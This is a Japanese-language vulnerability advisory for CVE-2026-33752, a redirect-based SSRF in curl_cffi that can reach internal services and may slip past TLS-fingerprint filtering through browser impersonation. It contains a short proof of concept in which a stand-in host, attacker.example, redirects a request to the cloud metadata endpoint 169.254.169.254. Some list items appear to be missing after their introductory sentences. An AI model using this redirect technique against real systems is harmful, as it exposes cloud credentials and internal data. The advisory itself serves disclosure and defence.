CVE-2026-33752(curl_cffi におけるリダイレクトベースの SSRF による内部ネットワークアクセス)
curl_cffi は内部 IP レンジへのリクエストを制限しておらず、基盤となる libcurl を介してリダイレクトを自動的に追跡します。
このため、攻撃者が制御する URL が、クラウドメタデータエンドポイントなどの内部サービスへのリクエストをリダイレクトできる可能性があります。さらに、curl_cffi の TLS 偽装機能により、これらのリクエストが正規のブラウザトラフィックのように見えるため、特定のネットワーク制御を回避できる可能性があります。
この問題は、curl_cffi が送信リクエストを処理する方法に起因します。
つまり、アプリケーションが外部 URL へのリクエストのみを許可している場合でも、攻撃者は以下を行うことができます。
その結果、内部エンドポイント(クラウドインスタンスメタデータ API など)にアクセスできる可能性があります。
さらに、curl_cffi は TLS フィンガープリント偽装(例:impersonate="chrome")をサポートしています。送信リクエストが TLS フィンガープリンティングに基づいてフィルタリングされる環境では、これによりリクエストの検出やブロックが困難になる可能性があります。
この動作は、リダイレクトによって意図しない内部リソースへのアクセスが可能になる、以前報告されたリダイレクトベースの SSRF 問題(CVE-2025-68616 など)と類似しています。
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
被害者コード:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
結果
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
一部の環境では、これによりリクエストが TLS ベースのフィルタリング制御を回避できる可能性があります。
リクエスト URL を制御できる攻撃者は、以下を行う可能性があります: